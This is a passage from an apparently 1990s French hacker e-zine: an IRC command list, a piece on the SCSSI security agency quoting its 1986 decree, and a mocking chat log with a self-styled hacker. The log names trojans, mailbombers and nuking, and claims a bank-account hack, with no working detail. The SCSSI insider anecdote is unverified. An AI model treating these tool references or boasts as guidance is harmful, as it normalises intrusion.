/me action envoie la description d'une action au canal.Peut aussi être utilisé en DCC chat (private action).

/mode channel parm établit les modes d'un canal:

+p canal privé.
+s canal secret.
+i canal "invite-only". Seuls les users invités peuvent y accéder.
+m canal modéré. Seuls les utilisateurs "+v" et les opérateurs peuvent parler.
+n bloque les messages provenant d'ailleurs que le canal (pas de message du serveur, donc).
+t seul les opérateurs peuvent changer le topic.
+l # limite le nombre d'utilisateurs d'un canal à # personnes.
+v nick permet à Nick de parler sur un canal modéré.
+b liste des bans. Ne fonctionne pas sur certains serveurs.
+b nick!username@hostname pour bannir Nick du canal.
+k key établit le mot de passe du canal.
+o nick donne le statut d'opérateur à Nick.
-x enleve le mode x, pour peu que x soit un des modes décrits ci-dessus.
/mode nick parm établit les modes utilisateurs:

+i utilisateur invisible (ie: vous ne le verrez pas si vous n'êtes pas sur le même canal).
+s permet de recevoir les notices du serveur (messages concernant l'activité du serveur).
+w permet de recevoir les wallops, messages envoyés à tous les ops d'un canal.
+o donne le satut d'IRCop... seulement si vous êtes IRCop :-)).
+d mode "deaf"(=sourd). Seulement pour les bots.
/motd [server] affiche le message du jour [d'un autre serveur IRC].

/msg nick message envoie un message privé à Nick.

/names channel affiche la liste des utilisateurs d'un canal. Note: si vous n'êtes pas sur le canal, vous ne verrez pas les utilisateurs qui sont "+i".

/nick newnick pour changer votre nickname.

/note ?

/notice user|channel msg (presque comme) /msg, avec cependant la possibilté d'envoyer un message privé à tout le canal.

/notify affiche la liste "notify".

/notify nick ajoute Nick à la liste des notifications (notify). Montre chaque signon/off de Nick.

-nick enleve Nick de la "notify".

/omsg text envoie un message à tous les ops d'un canal.

/onotice text envoie une note à tous les ops d'un canal.

/op nick donne le statut d'op à Nick.

/deop nick enlève le statut d'op à Nick.

/part channel = /leave

/ping ping un utilisateur. Utilisez /ctcp ping pour mesurer le délai de réponse.

/quote raw irccommand envoie une commande à un serveur IRC, exactement telle que tapée.

/query nick ouvre une fenêtre de message privés avec Nick.

/quit message = /bye

/server hostname [port] vous permet de basculer sur un autre serveur.

/silence affiche la liste des utilisateurs placés en "ignore".

/silence mask permet d'ignorer les utilisateurs concernés par le mask.

/signoff message = /bye

/sound nick soundname voir ctcp sound.

/stats affiche des statistiques:

b affiche la liste des bans du serveur.
c retourne une liste des serveurs auxquels le serveur peut se connecter ou dont il peut recevoir/autoriser les connections.
h retourne une liste des serveurs forcés d'agir en "leaves"(=feuilles, les connections étant basées sur le principe d'arborescence) ou autorisés à agir en "hubs"(=pivot/racine).
i renvoie une liste des hôtes auxquels le serveur autorise les clients à se connecter.
k renvoie une liste des combinaisons username et hostname des bans du serveur.
l renvoie la liste des connections du serveur, montrant depuis combien de temps ces connections sont établies, le trafic sur cette connection en bytes et les messages pour chaque direction.
m renvoie une liste des commandes supportées par le serveur et le compte d'utilisation pour chaque s'il est différent de zéro.
o renvoie une liste des hôtes dont les clients peuvent devenir (irc)ops.
p ?
s ?
t ?
u renvoie une ligne montrant depuis combien de temps le serveur est établi.
y montre les lignes (Class) Y du fichier configuration du serveur.
/summon user@host invite user@host sur IRC (l'hôte/host doit être un serveur). Obsolete??

/time = /date

/topic channel text établit le topic d'un canal.

/trace [user] affiche les serveurs utilisés pour se connecter à l'utilisateur.

/type envoie un fichier texte dans le canal.

/unban pour enlever les bans.

/unban nickmask efface le mask de Nick (nick!username@hostname) de la liste des bans du canal.

/users (x)

/version affiche la version du serveur

/who channel donne la liste des users du canal désigné.

/whois donne des informations sur le dernier Nick à avoir rejoint le canal ou envoyé un message privé.

/whois nick donne des informations sur Nick.

/whowas nick donne des informations sur Nick, celui-ci n'étant plus en ligne.

/xdcc nick affiche les commandes utilisateurs XDCC.

/xdcc nick LIST affiche la liste des fichiers téléchargeables de Nick.

/xdcc nick SEND # télécharge les fichiers # de Nick.

/xdcc nick VERSION affiche la version XDCC.

Commandes des IRC Operators:

/connect target port oblige le serveur distant à essayer d'établir une nouvelle connection avec le serveur cible(=target), sur le port spécifié.

/die pour forcé le serveur à se déconnecter et cesser toute activité.

/hash reconfigure un server.

/host

/kill nick comment le KILL est utilisé pour faire en sorte que la connection du client-serveur soit fermée par le serveur qui a la connection. KILL est utilisé par les serveurs quand ils rencontrent une double entrée dans la liste des Nicks valides et clôt les deux entrées. Commande également accessible aux ircops.

/oper nick password donne les privilèges du statut d'IRCop à un utilisateur.

/rehash utilisé pour forcer un serveur à relire son fichier de configuration.

/restart pour redémarrer un serveur.

/squit server comment ferme une connection serveur.

/uping ?

/wallops message message à tous les ops.

Commandes DCC:

chat - réclame l'ouverture d'une connection DCC ou autorise une telle requête.
send - envoie un fichier.
tsend - envoie un fichier texte.
get - reçoit un fichier (en réponse à un SEND).
tget - reçoit un fichier texte.
list - donne une liste de toutes les connections DCC.
/xdcc:

list - donne une liste des fichiers.
help - affiche l'aide.
send - demande un fichier." (Macplus)
 

XIII/ Le SCSSI

   SCSSI (Service Central de la Securite des Systemes d'Informations): ce nom ne vous dit surement rien, ou très peu de choses. En 1986, est créé auprès du Premier ministre un Service Central de la Sécurité des Systèmes d'Information (placé sous l'autorité du délégué interministériel pour la sécurité des systèmes d'information).
   Contrairement à la DST qui surveille les pirates informatiques, et les pirates informatiques qui surveillent la DST, le SCSSI surveille sans être vu. Prenons un exemple réel:

   Un clan de hacker a pour chef NeurAlien. Ce clan n'est pas connu mais on ne le citera pas. Pis un beau jour on apprend que NeurAlien bosse à la DST... Puis au SCSSI, où il a pour rôle de surveiller tout ce qui se passe. Etant dans un clan de hackers (programmeurs plutot), il va demander à ceux-ci de fouiner un peu partout à la recherche de quelques informations qui ne regarde que lui. Inaperçus, espionnage... Brref, on s'en fout mais s'était pour illustrer ce qui pouvait se passer avec ce genre d'organisme, et dont on ne se méfie pas du tout!

   Voilà ce que le SCSSI dit qu'il fait:



Le SCSSI :
Evalue :

les procédés de protection cryptologiques,
les produits et systèmes relevant des technologies de l'information,
les procédés de protection contre les signaux parasites compromettants.
Agrée les équipements, produits et systèmes utilisés pour le traitement des informations classifiées de défense.

Procède à l'agrément des centres d'évaluation de la sécurité des technologies de l'information dans le cadre du schéma d'évaluation et de certification.

Certifie les produits évalués par les centres d'évaluation agréés.

Instruit les demandes d'autorisation de fourniture et d'utilisation de moyens et de prestations de cryptologie.

Statue sur les exportations des technologies, des produits et des systèmes.

Elabore et distribue les clés de chiffrement au profit de l'administration et du secteur privé.

Assure la formation des spécialistes dont l'Etat a besoin ainsi que la sensibilisation des respnsables de l'administration et du secteur privé dans le cadre du Centre d'Etudes Supérieures de la Sécurité des Systèmes d'Information (C.E.S.S.S.I.).

Conseille les administrations et certaines entreprises pour la sécurisation de leurs systèmes d'information.

Participe aux actions de normalisation nationales et internationales en matière de sécurité des systèmes d'information et suit les travaux relatifs à la réglementation.

Assure les relations techniques avec ses homologues étrangers.

L'action au profit du secteur privé est soumis à cetaines conditions visant à ne pas causer de tort aux sociétés dont la raison sociale touche à la sécurité des systèmes d'information.



Décrets relatifs au SCSSI:

Journal Officiel de la République Française
du 8 mars 1986 page 3592.
Décret No 86-318 du 3 mars 1986.
Portant création du service central de la sécurité des systèmes d'information.
 
 

Le Président de la République,

Sur le rapport du Premier ministre,

Vu le décret No 86-316 du 3 mars 1986 portant création du directoire de la sécurité des systèmes d'information;

Vu le décret No 86-317 du 3 mars 1986 portant création d'une délégation interministérielle pour la sécurité des systèmes d'information;

Vu le décret No 81-514 du 12 mai 1981 relatif à l'organisation de la protection des secrets et des informations concernant la défense nationale et la sûreté de l'Etat,

Décrète:

Article 1er. - Il est créé auprès du Premier ministre un service central de la sécurité des systèmes d'information placé sous l'autorité du délégué interministériel pour la sécurité des systèmes d'information.

Article 2. - Le service central de la sécurité des systèmes d'information est chargé d'apprécier le niveau de protection des systèmes d'information. Il participe aux activités de recherche relatives aux procédés de protection, coordonne, en liaison avec les maîtres d'oeuvre, les études et développements de protection des systèmes d'information gouvernementaux et approuve leur destination.

Article 3. - Le service central de la sécurité des systèmes d'information est responsable de l'évaluation des procédés de protection cryptologiques. Dans ce domaine:

il examine les besoins que lui soumettent les départements ministériels et propose les solutions;
il analyse les procédés crypotologiques élaborés par les concepteurs en vue de formuler un jugement sur l'utilisation qui peut en être faite;
il se prononce sur la validité des protections cryptologiques en service.

Le service central de la sécurité des systèmes d'information se tient informé des travaux théoriques effectués en matière de cryptologie et entretient les contacts appropriés avec les organismes de recherche concernés par le sujet.

Article 4. - Le service central de la sécurité des systèmes d'information participe à l'évaluation des procédés de protection non cryptologiques. Il examine les besoins relatifs à ces procédés qui lui sont soumis par les départements ministériels et les traite avec le concours des services ou centres techniques gouvernementaux compétents. Il centralise et diffuse les résultats et se prononce sur les niveaux de protection assurés.

Article 5. - Le service central de la sécurité des systèmes d'information suit les travaux relatifs aux normes, aux spécifications des équipements et à la réglementation en liaison avec les responsables de ces travaux et avec les utilisateurs.

Article 6. - Pour l'exercice des missions ci-dessus définies, le service central de la sécurité des systèmes d'information: - fait appel aux compétences et aux moyens des organismes gouvernementaux concernés dans le cadre de protocoles rédigés à cet effet; - entretient les relations adéquates avec les industriels agréés par le Gouvernement; il est, à ce titre, associé à la rédaction des protocoles d'accord passés entre le département de la défense et ces industriels.

Article 7. - Le service central de la sécurité des systèmes d'information est chargé en outre:

de suivre l'instruction des dossiers relatifs à la sécurité des systèmes d'information destinés à des utilisateurs non gouvernementaux ;
d'instruire, en liaison avec les instances concernées ou à leur profit, les dossiers relatifs à la sécurité des systèmes d'information destinés à des utilisateurs étrangers ;
d'entretenir les relations techniques souhaitables avec les services homologues étrangers ;
d'organiser, au profit des États ayant passé avec la France des accords en matière de sécurité des systèmes d'information, l'assistance technique et la formation des personnels prévues dans ces accords ;
d'apporter son concours aux organismes gouvernementaux qui font appel à lui soit pour la fabrication de clés de chiffrement, soit pour la formation de personnels spécialistes.

Article 8. - Le service central de la sécurité des systèmes d'information assure la direction et le fonctionnement du centre d'études supérieures de la sécurité des systèmes d'information.

Article 9. - La composition du service central de la sécurité des systèmes d'information, les qualifications de ses personnels et les corps d'origine des agents détachés ou mis à disposition sont fixés par le Premier ministre.

Article 10. - Le service central de la sécurité des systèmes d'information est rattaché du point de vue administratif et budgétaire au secrétariat général du Gouvernement (services généraux du Premier ministre).

Article 11. - Le Premier ministre, le ministre de l'économie, des finances et du budget, le ministre des relations extérieures, le ministre de la défense, le ministre de l'intérieur et de la décentralisation, le ministre du redéploiement industriel et du commerce extérieur, le ministre des P.T.T. et le ministre de la recherche et de la technologie sont chargés, chacun en ce qui le concerne, de l'exécution du présent décret, qui sera publié au Journal officiel de la République française.

Fait à Paris, le 3 mars 1986.
 

   Selon un organisme de sécurité informatique, le SCSSI aurait plutot comme missions:

NB: il est clairement marqué ici enquête, alors que ça n'est pas explicité comme il le faudrait par le SCSSI. J'en reviens à mon exemple du début.

Conslusion: méfiez vous des contrefaç... euh qu'est-ce que je raconte moi: du SCSSI pardon.
 

XIV/ Discussion avec un lamer

   Cette discussion a été réalisé sur ICQ, je me suis bien payé la tête du type, et j'étais mort de rire tellement il en rajoutait, il en rajoutait... En fait cette discussion est plutôt un coup de gueules contres les débiles du net, mais c'est plus drôle de mettre un log, que de pousser un coup de gueule dont on s'en fout, de toutes manières.
 

<Clad Strife  > salut
<Clad Strife  > on m'a parlé de tes talents de hackers
<Clad Strife  > ben je sais hacker par netbus, socket23, je sais utiliser différents OS (win 95, 98, 3x)
<WzGate> et alors parle moi des tiens
<Clad Strife  > je sais flooder, mailbomber, nuker
<Clad Strife  > hey
<Clad Strife  > c
<Clad Strife  >  cool ça!!
<Clad Strife  > faudrait qu'on s'échange des programmes!
<WzGate> ça trombe bien moi aussi !!!!
<Clad Strife  > j'ai pelin de trojans
<WzGate> mais moi j'ai arreter avec ses merde de progs
<Clad Strife  > ah? tu fais koi?
<Clad Strife  > COOL!
<Clad Strife  > les virus?
<WzGate> il ya plus violent maintenant
<Clad Strife  > PIRE???
<Clad Strife  > KOI DONC?
<WzGate> pire
<Clad Strife  >
<Clad Strife  > alles stp!
<Clad Strife  > dis!
<WzGate> ahhhhhhhhh ahhhhhhhh
<Clad Strife  > NAN JURE j'DIRAIS RIEN!
<Clad Strife  > STP DIS MOI
<WzGate> non non je fais me faire prendre par les keufs sinon
<Clad Strife  > stp.....
<Clad Strife  > je ferais tout ce que tu voudras!!!
<WzGate> non non
<Clad Strife  > je serais presque comme ton esclave
<Clad Strife  > je... je ferais tout ce que tu veux que je fasse
<Clad Strife  > TOUT
<Clad Strife  > mais dis moi oyu c que t'apprends tout ça
<WzGate> c'est pas la peine
<WzGate> ahh c'est le talent c'est tout
<Clad Strife  > un mec qui se foutait de ma gueule
<Clad Strife  > mais il a dit que je pouvais venir te voir
<Clad Strife  > un ALT F12
<Clad Strife  > mais stp!
<Clad Strife  > apprends moi!!!
<Clad Strife  > je te hackerais pas! promis juré
<Clad Strife  > craché: PTOUI
<WzGate> c'est qui qui t'a parlé de moi ???
<WzGate> non
<Clad Strife  > sérieux? MAIS COMMENTR T'AS FAIT?
<Clad Strife  > nan c moi qui lme ferait prendre! pas toi
<WzGate> je me suis fait deja prendre parce que j'ai pirater les compte bancaire alors stop maintenant
<WzGate> il suffit de chercher le code d'entrer et de s'introduire dans les fichiers
<Clad Strife  > putain
<Clad Strife  > et ils t'ont dit koi à la police?
<WzGate> j'ai fait virer 2 000 000 frs sur mon comte
<Clad Strife  > putaaaain
<WzGate> j'ai rendu l'argent et j'ai fais 6 mois de tole
<Clad Strife  > mais comment t'as fait pour trouver le pass?
<Clad Strife  > t'as fait ça par FTP?
<Clad Strife  > oui mais j'aimerais mieux m'y conbaitre!
<WzGate> il suffit de s'y connaitre afond
<WzGate> ftp c'est plus a la mode
<Clad Strife  > cool
<Clad Strife  > t'as pas des programmes?
<WzGate> il faut s'y connaitre dans la programmation
<Clad Strife  > tu peux pas m'les envoyer? juste 1 ou 2
<WzGate> non je fais mes propre programme
<WzGate> tu plane ou quoi
<Clad Strife  > STP!!!!
<Clad Strife  > mais oui mais là c moi pas toi!
<Clad Strife  > pitié
<Clad Strife  > je serais ton esclave si tu veux!
<Clad Strife  > pis hackmoi pas stp
<Clad Strife  > je te fais confiance
<WzGate> la prison ça me suffi t
<WzGate> non je file pas mes progs
<Clad Strife  > ouais j'en ai un pas mal
<WzGate> ouhai ben si tu  as un bon mailbomber  tu me le fais parvenir
<Clad Strife  > Kaboom
<Clad Strife  > tu connais?
<WzGate> c'est lequel ??
<Clad Strife  > sur system7.org
<Clad Strife  > t'as plein de çà
<Clad Strife  > allez
<Clad Strife  > je te file plein d'infos de pleins de progs
<WzGate> non pas celui là
<Clad Strife  > et tu m'apprends 2 3 trucs
<Clad Strife  > hackers.com
<Clad Strife  > ok pour le marché?
<Clad Strife  > pis personne en saura rien
<WzGate> tu connais d'autre site comme ça ??

Pis il est parti... Bon ben voilà un typique lamer. Il n'a pas un nickname à la con (pas trop), mais qu'est-ce qu'il est bête! Si vous avez des logs encore pires que ceux-ci (j'en ai faut pas croire, mais ce gars c'est un phénomène!), vous n'avez qu'à me les envoyer.
 




Le mot de la fin: La vache c'que ça été dur et éprouvant de le faire c'te zine. Pis comme j'ai pas fini d'en écrire....
j'espère que vous en avez apprécié la lecture. Vous pouvez m'écrire à clad_strife@hotmail.com, ou sur ICQ: 22350168. Pis j'voulais dire aussi: ne baissez jamais les bras, que ce soit sur le net ou dans la vie.

Avant de représenter l'underground, représente toi toi-même. (Clad Strife)
dédié à Alain, l'anti JK.

Greetz To: Bond, Thorgal, Janus, Tobozo, H, J117, Leonard, et tout les opprimés, ceux qui n'ont pas comme vous les moyens d'avoir internet ni de se nourrir: pensez-y.

Author: Clad Strife